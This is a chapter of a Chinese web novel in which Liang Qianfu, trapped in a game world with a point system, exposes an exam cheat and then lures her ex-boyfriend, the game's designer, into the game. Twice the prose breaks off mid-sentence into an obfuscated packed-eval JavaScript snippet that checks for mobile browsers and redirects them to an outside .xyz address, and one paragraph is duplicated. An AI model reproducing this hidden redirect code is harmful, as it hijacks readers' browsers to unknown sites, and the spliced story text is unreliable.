眼睁睁看着秦如许跑进操场中间的绿茵地,梁千芙气得把手上的挂件往地上狠狠一砸,对上那丑挂件嬉皮笑脸的样子,她恨不得上去踩两脚。 “梁千芙,你今天又迟到了吧,还被检查员发现逃跑操,现在在这摔东西发火,脾气真不小啊,要是我哪天管了你你是不是也得把我摔在地上啊?”一种阴阳怪气而又熟悉的声音在梁千芙身后响起,她顿时头皮发麻,讪讪转身看向来人。 班主任居高临下的瞪着她,降下了“诏书”:“你今天上午都给我站在门口听课!” 在学生时代,最惨的并不是被罚站,而是在下课时整个楼层的同学出来放风时,那些紧紧黏在被罚站者身上的目光,以及窃窃私语和似有若无的偷笑才彻底刺破了青少年那本就脆弱的自尊心。 梁千芙本以为自己也是比这些学生大了七八岁,她能忽视他人异样的眼光,没那么容易就感到羞愧 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两个人就这样子在外面叽里咕噜说小话,引得窗边同学频频侧目,老师也出来警告两人,这才把梁千芙从陈风迎牛头不对马嘴的讲解中拯救出来。 梁千芙拿着试卷的手垂下,和陈风迎两个人面面面相觑,这种在学生时代和好朋友一起犯错挨骂的感觉着实让梁千芙回忆起自己的学生时代,不免发自内心地露出微笑。 陈风迎:“你是疯了吗梁千芙,被骂了还笑。别笑了我害怕。” 回应她的是梁千芙大大的白眼。 “哎,你听说了吗,”陈风迎环顾四周,特意压低了声音,“咱们学校后面的那座废弃医院最近晚上老是传来声音,咱们学校探险社团的人准备明天晚上去看一下。我男朋友就是探险社的,说要带我一起去。千芙,你陪我一起去好不好?除了我男朋友,其他人我都不认识,你在我放心一点。” 这种常见的套路梁千芙已经完全掌握了。如果她是普通的高考生,她肯定劝陈风迎不要去,毕竟马上就要高考了,可她毕竟是有目标在身的,那真的不得不去了。 “好呀,明天几点?你今晚发微信告诉我就好。” “叮!”小辛的声音在梁千芙脑海中响起,“恭喜宿主触发关键事件——夜闯废弃医院,任务完成将发放1000积分,请宿主加油。” 5. 作弊时要记得穿鞋啊 上午的罚站时光总算是结束了,梁千芙还还没来得及松口气,下午英语老师宣布要在放学前进行月考前的集训,考一下邻省的模拟题。 在全班同学哀嚎声中开始答题。 因为原本在校园文里,梁千芙的人设就是隐藏的学霸。她随便看了看题,脑子中的知识就被激活了,所有题目在她眼里简直是手到擒来。但是,当她想把脑子里记着的单词写在卷子上时,却怎么写都写不对,就连一个简单的“ecosystem”她都拼不对涂涂改改四五遍就是写不下正确的单词。 明明时几度的天气,坐在教室里的她已经开始流汗,汗水顺着脸颊落在卷子上,晕花了原本工整的字迹。梁千芙的感官不断放大,旁边同学的呼吸声此刻在她听来像是一个电钻在她耳边不停工作,恨不得把她脑子钻几个洞才肯罢休。那种上学时的紧张和焦虑再一次席卷全身,就连鼻腔里都充满了浓浓的臭味。 不对。 梁千芙擦了擦额角的汗,仔细嗅了嗅,这不对啊,这臭味怎么这么真实,不像是在紧张下被放大的气味。梁千芙从焦虑里脱离出来,仔细回忆了一下小辛给她植入的人设,猛地想起来其中有一点,梁千芙的学习成绩很好,但因为什么原因隐藏起来了,这可能就是现在自己不管怎么努力都没办法把正确答案写在卷子上的原因。 既然已经能猜测到结果,梁千芙干脆摆烂,花了一个半小时不到就把卷子糊弄完了。答完题简直身心舒畅,她转着笔无所事事,讲台上的英语老师在批阅着其他班的考卷,无心在意底下的动静。 但是那股臭味一直萦绕在梁千芙鼻尖,无时无刻不在挑衅她,连英语老师身上的香水味都盖不住这臭味。她有所感应般向右望去,坐在右手边那个矮小瘦弱的女生头此刻都快埋到卷子里,手上的笔还在抓着往纸上写什么。 似是感应到有一道探究的目光盯着自己,女生稍微抬了点头,迅速睨了一眼梁千芙,随后微不可察地侧了身子,挡住了自己的桌面。 梁千芙无所谓地耸了耸肩。在仅存的记忆里她知道这个女生叫任盼盼,个子很高,学习成绩非常好,常年霸占年级前三,除此之外梁千芙对她没什么了解,只知道她平时挺冷淡的,只和学习好的同学说话聊天,像自己这种学渣完全入不了她的眼。 梁千芙自己也上过学,对这种情况也是见怪不怪。看她有点提防着自己的样子,梁千芙也想自讨没趣。只是,她刚把目光重新投到卷子上时,右手边突然传来椅子摩擦地面的刺耳声响,把老师都吓得一个激灵。 年过四十的中年老师皱眉带上眼镜,看向发出声音的方向,语气严厉:“怎么回事?谁弄的?” 坐在任盼盼周围的同学齐齐看着“罪魁祸首”任盼盼,后者此时低着头,用比蚊子大不了多少的声音回答:“对不起老师,是我弄的。” 看着是老师们的心头宝学生,英语老师也不好再多说什么,放缓了语气:“嗯,下次别弄出太大动静,”她看向其他看热闹的学生,声音恢复了严厉:“你们一个个也是,一点风吹草动你们都要管。看什么?还不快做题,还有半小时收卷了!” 没有理会其他人,梁千芙用余光继续观察着任盼盼。她眼睁睁看着任盼盼的身子一点点往下趴,下巴都快挨到桌子上了,似乎手在地下摸索着什么。 梁千芙从左侧弯下腰,假装下去捡笔,目光顺着手和桌子间的缝隙像任盼盼的方向看去,没看到任盼盼手上的动作,却看到一只脚搭在任盼盼的椅子后腿。 高中的校园桌子下方大都有一根铁栏杆,这只脚的主人却很顽固地要把腿伸到前一个同学的椅子下,而且这只脚还没穿鞋,只穿着一只脱下来能立住的袜子。 梁千芙微微侧头,看清坐在任盼盼后面的同学,是个一脸老实的男同学,名字叫梁辰。 说是老实都算是夸他了,在梁千芙的印象里,梁辰没什么存在感,平时不怎么说话,这点和任盼盼算是同一类人。而且他总是低着头,让人看不清表情,有一种懦弱又猥琐的感觉,之前被班里男生调侃他也不反驳,只是默默地做着自己的事情。 梁千芙下意识有点厌恶这个人,之前所有的一切在他霸道地把脚搭在别人椅子上的那一刻都显得像是伪装。 梁辰小幅度抖着腿,一改往日脸上的讨好,换上了上位者的自傲和轻视,作势狠狠踢了一脚凳子,看来刚刚的响声,也是他造成的。只是这次,任盼盼死死坐在椅子上,才没让椅子发出太大动静。 梁千芙在一边静观其变,只是有些好奇他的那只鞋子去哪里了。 任盼盼坐在教室的第一排第一列,右手边就是墙壁。而梁辰翘起的也是右边那只脚,梁千芙推测鞋子可能是卡在墙壁和桌子中间。 但是下一刻发生的事情,给梁千芙的眼睛一个暴击。 只见梁辰用另一只脚在两人的桌椅靠墙侧的探了探鞋子的具体位置,然后慢慢把它勾到任盼盼座位底下。任盼盼就把桌子上的一张小纸条卷了卷,超级不经意把纸条像弹橡皮屑一样一扫,纸条掉到梁辰的鞋子里,接着如法炮制,装作收腿把鞋子往后一勾,踢到梁辰作为下方。 这行云流水的操作把梁千芙看呆了,周围同学都沉浸在题海中,竟然没有一个人发现这一切。她莫名响起自己之前看过的一部电影,里面的主人公也有用类似手法作过弊,没想到还真有人用在现实中。 但眼下不是想这些事的时候,梁辰马上就要把脚从桌子前面的杆子里伸出来了,再不抓他现行就来不及了。 梁千芙气沉丹田,一个滑移滑到了有左边过道上,惊声尖叫:“啊!老师,这有只蟑螂!” 此言一出,周围的同学顿时不冷静了,胆子小的同学甚至有的直接从座位上一个弹射起飞。 老师用力拍了拍讲台:“安静,都给我闭嘴!”说着便走下讲台,有些自言自语又带着询问,“这天气怎么会有蟑螂呢?跑哪去了?” “往第一列跑了,就在那个墙边!”梁千芙装出很害怕的感觉,声音里都带着颤抖。 老师看向第一排,此时的梁辰也因为刚刚的动静忘记抽出脚,但已经为时已晚。 老师看着那只没穿鞋的脚和在梁辰鞋子里的那张小纸条,把手里的笔往梁辰桌子上重重一拍:“梁辰!考试你敢搞小动作,你不想考就别考了,你跟我出来!” “不是,不是的老师,这是任盼盼的小纸条,只是掉到我鞋子里了,我感觉鞋子里有东西才拖鞋查看的,真不是我的啊老师!”梁辰哭丧着脸解释,整个苦瓜脸扭曲到变形。要不是看到梁千芙目睹了全程,这演技都要把她也骗过去了。 老师直直盯着他的眼睛:“你是把我当傻子吗?” “不是,是真的,”说着梁辰还不顾一直脚还卡在那,伸手捡起那张纸条打开,“不信你看,这里面就是任盼盼的字迹!” 纸条上一片空白,是最有力的耳光。 “这是怎么回事?”梁辰把那张字条翻来覆去,愣是没找出一个字,反应过来的他暴怒:“我c,任盼盼,你敢耍我!你信不信我把你……” “够了!你还想怎样?眼里还有没有我这个老师!考试作弊还污蔑同学,你给我滚出去!”英语老师拽着梁辰的手臂,在梁辰骂骂咧咧的声音中把他拖出了教室。 梁千芙第一次感受到这个经常穿着高跟鞋,喷着浓郁香水的中年女老师强悍的战斗力,同时在心里暗自下定决心以后一定好好学习,踏实做人,她可不想英语老师拿对付梁辰的招数对待她。 作弊的风波很快让大家忘记了那只不存在的小强,继续埋头苦写。 任盼盼没什么表情,甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177227|180769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没看梁千芙一眼,只是继续头埋得低低地写着题。 考试结束后,同学们都收拾东西准备回家。今天是周五,同学们都叽叽喳喳地讨论去哪里玩,陈风迎走到梁千芙身边,提醒她去医院的事情,梁千芙点头应下。 任盼盼慢慢地收拾着自己的东西,梁千芙也按捺住自己急切想回家的心情,想着和任盼盼一起走出校门,套套近乎。毕竟今天的行为很明显能看出,任盼盼只是表面乖巧,背地里也不是那种任人拿捏的软柿子,她还对这个人挺好奇。 只是刚要走出班级,英语老师就一脸阴沉地站在门口,看到了梁千芙表情不变,只是轻轻吐出口气:“梁千芙,你跟我来办公室一趟。”梁千芙顿感不妙,硬着头皮跟上老师的步伐。 到办公室里,老师看着像鹌鹑一样缩着脖子的梁千芙,感觉有点好笑:“梁千芙,你刚刚举报梁辰作弊不是挺有想法吗?怎么到我这怕了。” 听着英语老师的心情稍微好了点,梁千芙才敢抬头看着英语老师,讪笑道:“哎呀,张老师,我这不是想不出什么别的主意了吗?只能出此下策。” “想不出主意?我看你蛮有主意的啊,连有蟑螂这种话都能编出来,一月底的季节哪来的蟑螂?你给我翻遍整个学校都找不到一只吧,”张老师挑了挑眉,端起桌子上的茶喝了一口:“算了不说这个了,我问你,你有没有看到任盼盼给梁辰传小纸条?虽然那个纸条上什么也没有,但是我还是要把这件事通报到学校,毕竟是全校统考的卷子,要是真有意协助作弊,也是要被通报批评的。” “没有。”梁千芙想都没想就回答了,后知后觉发现这更像是在掩盖什么,又补了一句:“我没看见。” “真的?我可告诉你,包庇也是违反校规的!”张老师加重了语气,瞪着梁千芙。 这时候梁千芙上了几年班练就的睁眼说瞎话的本事就有了用武之地:“张老师真的没有,我确实没看前任盼盼协助梁辰作弊。” 张老师的实现死死钉在梁千芙身上,而后从上到下把梁千芙扫了一遍,那种感觉就像在用目光凌迟,盯着梁千芙浑身刺挠,但她不想供出任盼盼,在她看来,那不过是任盼盼被梁辰威胁一时糊涂罢了。 “算了,你回加吧,路上注意安全,把英语这方面利用周末的时间好好补一补,距离高考没几天了,去吧。”说罢张老师站起身去侍弄桌子上的花花草草,无心关注梁千芙。 如获大赦的她告别老师后,跑出了办公室。小辛的声音再次响起:“恭喜宿主触发特殊事件——见义勇为,奖励积分300,特殊事件——包庇同学,扣除积分200,此关总积分400。”梁千芙有些惆怅,积分之路漫漫啊,同时心里默默吐槽这个扣分机制。 有两个意想不到的人等在办公室门口。 一个是任盼盼,一个是秦如许。 任盼盼率先走上前,有些变扭地开口:“那个,今天谢谢你,以后有什么我能帮你的你尽管说。” 她不敢直视梁千芙的眼睛,叽里呱啦又说了一大堆,梁千芙都没怎么听清,她踮起脚,把耳朵凑近任盼盼的嘴唇。任盼盼的脸噌一下以肉眼可见的速度红到脖子,有些不好意思地转过头,“总之,谢谢你今天帮我。”说完一溜烟跑没影了。 “说了什么,我没听清啊,你再说一下啊,喂。”梁千芙的声音消散在走廊中。 小辛:“恭喜宿主触发特殊事件——学霸的好感,奖励积分100,此关总积分500。” “啧啧啧,”秦如许一脸唏嘘的表情走到她面前,“又玩上英雄救美的把戏了啊学姐,你怎么对所有人都这么好啊?” 梁千芙理都不理秦如许的茶言茶语,推开他径直下楼。 “哎呀,学姐,等等我!”秦如许三步并作两步,紧紧跟在梁千芙身后。 6. 自作自受 终于甩掉秦如许这个狗皮膏药,梁千芙回到了那个陌生的家。 家里空空荡荡,父亲还没有回来,但桌子上有他为女儿准备的水果零食和几张红彤彤的钞票,钱底下还压着一张字条。字条上歪歪扭扭的字迹出自梁父,上面写着:“千芙,我这周都要在隔壁县的工地上干活儿,这些钱你拿着花,不够了再找我要,一个人在家要锁好门,有什么事都要和我打电话啊。” 纸条被梁千芙攥在手心,从小到大对父爱的执念顷刻之间烟消云散,最好的释怀不是遗忘,而是拥有。 压下心里涌动的情绪,梁千芙抬头一看墙上的时钟,此刻还不到六点,她决定好好复盘一下现在的故事线。路过梁父房间时,梁千芙伸手去推房间门,却发现门已经上锁,钥匙也不知道被放到了哪里,梁千芙只能打消探索梁父房间的想法,原本她还以为自己的身世故事线能更推进一步呢。 回到房间里,梁千芙坐在书桌前,撑着下巴开始思考。没一会儿,她呼唤出小辛:“小辛,你这有什么道具商城吗?” 小辛:“有的,道具要拿积分兑换。” “给我看看。”梁千芙点了点头。 一个操控面板跳到梁千芙眼前,悬浮在空中,冒着淡蓝色的光,和印象中科幻电影里的那些高科技面板没什么区别。 梁千芙随手翻了几页,道具有很多,但看上去都好鸡肋,像什么暂停时间60秒、隐身5分钟之类的,梁千芙暂时想不出这些技能有什么用,不过好在价格比较低,都在10-20积分不等。 一共20多页的道具,梁千芙硬是没选出一个想要的。终于,翻到最后一页时,一个名为时空错乱的道具吸引了她的注意,不同于其他道具,这个道具下方写上了限制3次购买次数,而且价格也很贵,一个要300积分。她没有犹豫,直接点击购买。 在付款前,小辛适时出声:“这个道具是商城里最高程度的道具之一,可以让你回到现实生活中一天,同时游戏里的世界时间保持不变,非必要情况不建议购买。” 梁千芙没有理会小辛的话,坚持选择了购买。启动时空错乱功能的道具是一个小小的关机按钮,小辛看着按钮,语气中带有一丝不解:“你现在就要按吗?可你现在根本没有必要回到现实世界啊。” “谁说的,我要完成主线任务。”梁千芙懒得和小辛多解释,决绝地按下按钮。 先是一道道圆环穿过她的身体,接着一阵白光闪过,梁千芙抬起头,映入眼帘的正是还亮着光的游戏首页。她活动活动已经有点僵硬的脖颈,缓了一下穿越带来的眩晕。 一起穿越过来的还有一张手掌大的纸片,梁千芙随意扫视了一下制片上的内容,露出了势在必得笑容。 另一边,辛且随家。 辛且随揉着头从沙发上坐起来,脑袋像被车碾过一样的疼,疼痛让他下定决心,下次不管陈总再怎么拿投资的事情劝他喝酒,他也不能喝多了,宿醉的感觉是真的不好受。还好今天是周六,不用上班。辛且随一路踩着地下扔得乱七八糟的脏衣服走到厕所门口。 脏衣服的报复在他踏入厕所的前一刻开始了,一个后仰,辛且随直接滞空了,2秒钟后他的后脑勺和地板来了个亲密接触。摔得他眼冒金星,眼前好像还有一个人走过来,搞不好是太奶来接自己了,下一步眼前就要闪回马灯了。 眼前的人说话了,嗓音不算甜美,但确实是年轻女声:“呦,某人坏事做多了遭报应了吧。” 这声音很熟悉。辛且随迷迷瞪瞪睁开眼,努力看清面前的人:“梁千芙?你怎么在这?” “你还认得出我啊,”梁千芙慵懒地靠在卫生间的门框上,似笑非笑地从上到下打量了一遍还趴在地上的前男友,手指轻轻 卷着头发,戏谑开口,“怎么,我不能在这吗?” 辛且随被她看得不自在,下意识低头看着自己的身体,除了关键部位还有布料遮住最后一丝尊严,其他部位全□□。他慌乱站起身,捡起害他摔跤的“罪魁祸首”套在头上,又意识到下半身看上去貌似更不雅,急得又把衣服脱下来挡住腿部,一整个狼狈的模样。为了掩饰尴尬,他不自觉提高嗓音:“这是我家,当年分手你不是说要和我老死不相往来吗,现在又主动贴上来是搞哪一出?” 梁千芙忍住想掐死他再自刎的冲动:“啧啧啧,你就用这种态度对你救命恩人啊,”她没有正面回答他的问题,随意在房子里逛起来,这里看看,那里摸摸,一屁股坐在沙发上,下最终了结论,“你还是喜欢这种性冷淡的装修风格啊,太没人情味了吧,难怪喝多了都没个人把你送回家。” “什么?” 梁千芙在茶几上的果盘里挑挑拣拣,从一堆香蕉里选出了唯一一个丑柑,毫不见外:“今天早上我来找你,看你躺在单元门口,周围围了好多人,”她忽视辛且随紧张的目光,故意卖了个关子,一口咬下半个丑柑后,慢悠悠放下另外半个,才口齿不清继续道,“然后我,挺身而出,冒着明天上头条新闻的风险,承认我认识你,还和一个大哥一起把你抬到家里。啧,辛且随你有没有眼力见,我手上都是橘子汁,你给我那张餐巾纸呗。” “哦。”辛且随下意识就要走过去把餐巾纸递给她,尽管餐巾纸就放在茶几上,她只要从沙发里坐起来就能拿到。但刚走到茶几旁,他停住了脚步。一个邪恶的小人在他脑海里叫嚣:“梁千芙,谈恋爱的时候你使唤我也就算了,现在你以什么身份使唤我?我凭什么要听你的!” 辛且随:“橙汁太粘了,我给你拿湿纸巾去。” 梁千芙满意地点了点头,接着说:“然后呢,毕竟我们也谈了五六年了,我知道你有洁癖,你躺地上衣服都脏了,”梁千芙偷看到辛且随刚走到橱柜门边,便提高了音量,“所以我就帮你把衣服都脱掉了。” 期待的头撞柜门的声音没有响起,梁千芙皱了皱眉,原本是想耍辛且随,但他怎么没什么反应。梁千芙跪坐在沙发上回头,正好和辛且随对视上了,后者的脸色平静无波。 梁千芙有些不爽。虽然辛且随的嘴一直很硬,但以前谈恋爱时辛且随可好玩了,自己说起什么稍稍敏感的话题,都能把他逗得从脸红到脖子,现在这人怎么毫无反应了。 像是猜出了梁千芙的心思,辛且随的语气无比平静,边走边朝她走来:“哦,那你还挺贴心的,谢谢你,”他顿了顿,“你特意说这么大声是想让我有什么反应呢?大家都是成年人了,而且你以前也没少看,不是吗?” 坏了,被反将一军。 纸巾递到她手上时,她干巴巴回了一句不用谢,另一只手慢慢握紧,无声诉说着她的不甘。 眼睛一转,梁千芙又想出了一个主意。她一点点挪到辛且随旁边,低着头,很扭捏地瞟了几眼辛且随。 梁千芙这个样子让辛且随有些不习惯,他手里的香蕉还没来得及放下就站起身,拿香蕉挡住她,和她保持距离,还空出一只手不安地搓了搓鼻子:“你干嘛,有话好好说别这样。” 梁千芙:“我想跟你复合。” 两人面面相觑,梁千芙保持着那副楚楚可怜,我见犹怜的神情,眨巴着大眼睛仰视着辛且随。辛且随被震惊到说不出话,只是一味皱眉表示不解。 半晌,辛且随开口了:“为什么?” 梁千芙从沙发上赤脚小跑到门口鞋柜前,从包里拿出一张光碟。辛且随的眼神一直紧盯着她。 “呐,我无意间得到了这张光碟,是你专门为我写的游戏吧。我都打通关了,我才明白你对我的爱,”梁千芙吸了吸鼻子, “所以我真的想和你复合,之前是我太作了,我希望我们能重新开始。话说,你一直掐着腿不疼吗?” 辛且随像是才缓过神,顺着梁千芙的目光看向已经被掐红了的大腿,快速松开手,还装作无事发生一样拍了拍自己的腿:“哦,额,你话太多了,我快睡着了,掐着能清醒点。但其实,分手也不是你的原因。” 梁千芙在心里吐槽八百句了:“废话,当然不是我的原因啊。”表面还是维持小女孩情窦初开的害羞样子,把光盘塞到辛且随手里:“那个,你别急着拒绝我好吗?你再看看这个光盘哦,一定要看,” 说完她不管辛且随的反应,飞奔出门,再多一秒她都要演不下去了。 梁千芙回到家,其实说实话心里还是没底,她不确定辛且随会不会听她的话。不过话又说回来,人定胜天,她决定再推一把。 把某个号码从黑名单里拉出来后,梁千芙迫不及待打出了电话,活像一位春心荡漾的少女。电话响了五声才被接起。 “喂?是我梁千芙,你还好吗?” 辛且随等了几秒才开口:“你干嘛?东西落我家了?自己过来拿我是不会给你送过去的。” “不是啦,是我想你了。” 接下来的三个小时,梁千芙一直说个不停,分享着鸡毛蒜皮的小事,实在想不出说什么了就说一说两人谈恋爱时的比较搞笑的事情。害怕辛且随把她静音了,她说着说着就要问一句:“你还在听吗辛且随?” 他答:“嗯,我在听。” 她问:“非常认真地在听吗,一心一意地在听吗?” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177228|180769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答:“嗯,一心一意。” 两个人就这样聊着没什么营养,但独属于他俩的回忆。 三个小一到,梁千芙毫无预兆地挂了电话,电话那头辛且随一脸懵,好多次伸出手想打回去,但又觉得两人说了这么久,是真的没什么好说的了。 梁千芙率先回到游戏世界,心情很好地哼起歌。 小辛问她:“你怎么这么高兴?还有你能不能告诉我你回去干嘛了啊?” 梁千芙摇头晃脑,沉浸在自己的音乐世界里,只有在歌曲间隙时才抽出时间回答小辛:“嗯?你不是全知全能的系统吗?你应该知道我要干嘛啊。” “不是的,”小辛的声音似乎染上了委屈,“所有的积分评判、任务发布和剧情推进进度都是由系统局管控的,我顶多算个傀儡。所以你就告诉我嘛。” “哎呀好了,那我就勉为其难告诉你吧,我去找校园文男主了。” 小辛听得云里雾里,刚想开口再询问,大厅的椅子上凭空出现一个人。 梁千芙朝那个方向扬了扬下巴,“喏,说男主男主到。”她走到距离辛且随5米远的地方停下。看着辛且随迷茫的样子,嘴里还叼着一瓣丑柑,报复的快感才第一次涌上心头。她挂上灿烂而虚假的笑容,朝他挥了挥手:“又见面了啊辛且随,还是我该叫你男主呢?” 小辛:“恭喜宿主触发主线任务——找到男主,奖励积分1000,此关总积分1100。” “这是?游戏世界的大厅?”辛且随从椅子上站起来,梁千芙冷眼观察着他,没有说话,小辛也很默契的没有出声。 见没人搭话,他吞了口口水,心里大概已经明白是怎么回事了。梁千芙今天种种反常的举动都是有原因的。 看着梁千芙冷漠又厌恶的眼神,辛且随的心被揪紧,他明白这是她在怪自己,自己做的游戏,害她被传送进来,就算说自己也不知情,她也不会信。 辛且随朝着梁千芙的方向走去。他每靠近一步,梁千芙就往后退一步,不给他靠近自己的机会。 “好吧,”辛且随妥协了,“我现在说我什么都不知道你能相信我吗?” “我信。” 他还在苦苦想办法怎样才能解释这一切,梁千芙的回答却让他有些惊讶,解释的话没来得及说出口。 梁千芙接着说:“因为是我把你传送进来的。” 一次次的冲击直接把辛且随的大脑整宕机了,他不知道该说些什么,只是沉沉地看着梁千芙的眼睛,梁千芙也毫不避讳的和他对视。 “我比你早几天就被传到游戏里了,也知道这个游戏是你设计的。说实话,刚来的时候我恨死你了,”梁千芙说这话的时候朝辛且随逼近,两人的脸几乎快要贴在一起,“你总是这样不顾别人的意愿,喜欢自说自话,就连你做的游戏都要在分手之后干扰我的生活。你知道吗?我刚刚在你家里装得好辛苦。” 梁千芙继续说着残忍的想法:“我愿意相信你是真的不知情,至少这样能让我少恨你一点。但是,你,辛且随,必须和我分担痛苦,毕竟没有你做的游戏,我也不会有这些糟心事。所以,我不管是出于任务还是报复,我都必须赌一把,赌你能进游戏。就算你进不来,我也会用别的方法报复你。” 没有偶像剧中重逢的桥段,看着昔日爱人近在咫尺的脸庞,辛且随眼里的温度一点点冷下来,弯腰和她视线齐平,固执地等待一个答案:“所以你之前说的都骗我是吗?” “那个,”小辛在剑拔弩张的氛围中默默开口,“因为系统局检测到又进入一名新玩家,所以现在下达通知,游戏难度将大幅提升,在游戏中存在会威胁生命的不可控元素,请玩家注意。玩家需合作完成任务,积分各自结算,但在同一项任务中会拿到同等积分。一旦在游戏中死亡,玩家将会在现实世界中死亡。” 小辛停顿了一会儿,像是在接收信息:“另外,道具商城已升级,但玩家暂无查看权限,只有在危急时刻才可用积分兑换道具。祝玩家游玩愉快。” 梁千芙:“能把他送回去吗,我后悔了。” 小辛给出否定回答。 一直没出声的辛且随鼻间吐出一声笑,梁千芙用看神经病的眼神看着他,想和他拉开距离。 没给她这个机会,辛且随用力抓住她的手,把她往自己的方向狠狠拽过去,她差点一头撞在辛且随怀里。他不顾梁千芙的挣扎,学着梁千芙的假笑,一字一顿说道:“不是恨我吗?那我更要缠着你,看你不爽我就开心的不得了。” 他不顾梁千芙错愕的目光,拉着她径直走回游戏世界。 7. 准备前往废弃医院 刚站到房间里的时候梁千芙没站稳,差点一扭脚摔地上,辛且随拉她站稳,靠在桌子上抱臂看着她。 梁千芙刚想发飙,脑海中小辛的声音突兀在脑海中响起:“玩家梁千芙,作为第一位进入游戏的玩家,系统局下发金手指——背刺。背刺NPC一次,可在遇到危险时增加5%的存活率,被背刺NPC则会降低5%存活率;背刺其他玩家一次,根据背刺程度下发从1-50分的隐形积分,即不会被播报的积分,只能在最终清算环节使用,被背刺玩家降低5%存活率。” 小辛继续飞快输出:“背刺技能使用规则一:背刺程度的判定由系统局控制,在越危险的地方背刺其他玩家能获得越高积分。背刺技能使用规则二:不得让被使用技能方发现你是在故意进行背刺,如果被使用技能方认为你在故意被刺并对你说出 “背叛”、“背刺”、“暗算”“、欺骗”等词,则你此次使用金手指的奖励失效,并在遇到危险时降低10%存活率。” “喂,你怎么了?”辛且随的手在梁千芙面前晃了晃,她回过神,没好气地拍掉辛且随的手。 既然系统局给了自己这个优势,那自己必须好好把握,梁千芙暗笑,真是瞌睡来了有人送枕头,正想着该怎样给辛且随使绊子,系统局就送来了金手指。 不过就是要委屈自己暂时不能对他展示出太大的敌意了。 “是你把我骗过来的,你还生上气了?” 梁千芙刚从系统那边回神就听到辛且随的冷嘲热讽。她给自己顺了顺气,把想好的吵架话术咽回肚子。 既然系统局给了自己这个优势,那自己必须好好把握,梁千芙暗笑,真是瞌睡来了有人送枕头,正想着该怎样给辛且随使绊子,系统局就送来了金手指。 不过就是要委屈自己暂时不能对他展示出太大的敌意了。 辛且随:“你还是老样子,根本没听我刚刚说了什么是吗?” “啊?”梁千芙一脸懵,看着辛且随。后者压下心中的怒火,重新复述了一遍:“我说,既然事实如此,那我们还是早点通关回家吧,然后你走你的阳关道,我过我的独木桥。” “乐意至极,走独木桥的时候记得别走圆木的,小心摔死你个平底足。”不就是阴阳怪气吗,搞得好像她梁千芙不会似的。 小辛不知道又从哪里冒出来:“检测到两位玩家的恨意值总和已经达到70%,故新增以下规则:当总恨意值突破75%时,恨意值高的一方需要向低的一方交付1000积分。新增面板功能,可时刻观察自己的恨意值。记住,消极情绪是人之常情,但要学会控制和伪装自己的情绪,和谐共处才能取得胜利。” 房间一时之间陷入死寂。 梁千芙背过身拍了拍自己嘴巴,懊恼刚刚不应该那么刻薄,好歹装装样子啊。 辛且随先开口了:“刚刚是我冲动了,对不起。还有……” 梁千芙暗道不妙,没想到辛且随这小子这么能屈能伸,想抢占先机啊。她朝着辛且随90度鞠了一躬:“我也对不起,我们以后一定要peace and love啊。” 看她这样,辛且随也暗暗较劲,也向她深深鞠躬:“还是我错的比较多……” 两人像陷入了诡异的循环,一直轮流给对方鞠躬道歉,想着法说出更诚恳的语言。 “停,”梁千芙气喘吁吁地伸手挡在辛且随面前,“再这样下去不是道歉了,是像要把对方送走了,我们可以暂时和解。” “同意。” 辛且随抹去额头上的汗,回忆着:“刚说到哪里了?哦,想起来了。还有小辛给我录入了人设和记忆,而且把一些信息都跟我说了。” 听到这,梁千芙一下子悬到嗓子眼,还以为是小辛把自己有金手指的事情说出去了。辛且随接着说:“它说我们积分平分,现在各自是550积分,它还说你什么找男主,然后你找到了我,你是怎么知道的?” 梁千芙用看傻子的眼神看着辛且随,自顾自坐在椅子上,并用眼神示意让辛且随去外面搬个椅子坐下:“积分平分就平分吧,再赚就是了。关于男主嘛,原本我也不知道,我以为秦如许是男主,但是小辛说过,奖励是实时播报的,如果秦如许真的是男主,那我当时被他撞倒的时候就应该发放奖励了。再说了,你做的游戏,我要是女主,你会让别人当男主?你应该没有那种癖好吧。” 她意味深长地看着他,他无语。 “但是,我还是有些疑点没有搞清楚,”秦如许皱眉思考,“我根本没有设定过秦如许这个角色,而且人设和记忆里也没有他的存在,是你刚刚和我说我才知道有这个人。” 梁千芙接话:“我也是,是他撞到我,我看到他胸牌才知道他是谁。而且如果他只是路人甲的话,剧情会不会太多了。” 辛且随下意识握住梁千芙的手,轻轻摩挲,这是他们在恋爱时最常安慰彼此的动作:“我觉得,这个游戏和我当年设定的有些不一样,我们小心谨慎一点为妙。” 两人同时反应过来他们现在的动作太亲密,甩开彼此的手,嫌弃地往裤子上擦了擦。 梁千芙心里默默吐槽:“这狗男人现在情绪怎么这么多变1,一会儿凶得要死,恨不得把我吃了,一会儿又搞得和我关系很好的样子,像精神分裂了。” 简单收拾了一下,他们总算能平心静气坐在书桌前开始查阅相关的资料。辛且随坐在旁边撑着头看梁千芙在电脑上捣鼓:“其实我觉得我们既然选择了要去探险,你提前搜不就没有神秘感吗?” 梁千芙真想白他一眼,但是看着他一本正经的样子,仔细想想他上学时就是这种爱说风凉话的性格,便作罢了。辛且随见梁千芙欲言又止的样子,自觉失言:“额,其实我觉得查了也是对的,毕竟我们是有任务在身的,主要目的还是要拿分,我也来帮忙吧。” 